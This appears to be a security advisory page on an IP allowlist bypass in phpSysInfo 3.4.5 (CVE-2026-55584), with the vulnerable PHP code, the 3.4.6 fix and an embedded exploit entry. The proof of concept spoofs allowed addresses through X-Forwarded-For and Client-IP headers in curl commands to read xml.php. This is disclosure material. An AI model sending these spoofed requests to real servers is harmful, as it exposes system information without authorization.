phpSysInfo version 3.4.5 and earlier contains an IP allowlist bypass vulnerability. The application determines the client IP address by first checking the X-Forwarded-For and Client-IP HTTP headers, which can be attacker-controlled, before falling back to the more trustworthy REMOTE_ADDR. Because there is no trusted-proxy configuration, an attacker can spoof an allowed IP address via these headers and bypass the IP allowlist restriction to access sensitive system information exposed through xml.php. This vulnerability is fixed in version 3.4.6 by restricting the use of these headers to requests from trusted proxies only.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: phpSysInfo 3.4.5 - IP Allowlist Bypass # Google Dork: N/A # Date: 2026-07-11 # Exploit Author: Muhammed Mirac Kayikci # Vendor Homepage: https://phpsysinfo.github.io/phpsysinfo/ # Software Link: https://github.com/phpsysinfo/phpsysinfo/archive/refs/tags/v3.4.5.tar.gz # Version: <= 3.4.5 # Tested on: Linux (Apache/PHP) # CVE : CVE-2026-55584 References: ----------- GHSA: https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh CVE: https://www.cve.org/CVERecord?id=CVE-2026-55584 Description: ------------ phpSysInfo's PSI_ALLOWED IP allowlist resolves the client IP from the attacker-controlled "X-Forwarded-For" (then "Client-IP") request headers before falling back to REMOTE_ADDR. There is no trusted-proxy concept, so an attacker can spoof an allowed IP address, defeat the allowlist, and read full system information exposed via xml.php. Vulnerable code (read_config.php): ---------------------------------- if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } elseif (isset($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; } else { $ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last } Proof of Concept: ----------------- # Allowlist set to an address the attacker does not own (ALLOWED=8.8.8.8) # 1) Baseline - request is blocked: curl -s http://target/xml.php # -> "Client IP address (...) not allowed." # 2) Bypass via X-Forwarded-For - returns full system XML: curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # 3) Bypass via Client-IP - returns full system XML: curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php Fix: ---- Fixed in 3.4.6 (commit 019fa2d): default to REMOTE_ADDR; honor X-Forwarded-For / Client-IP only from configured trusted proxies.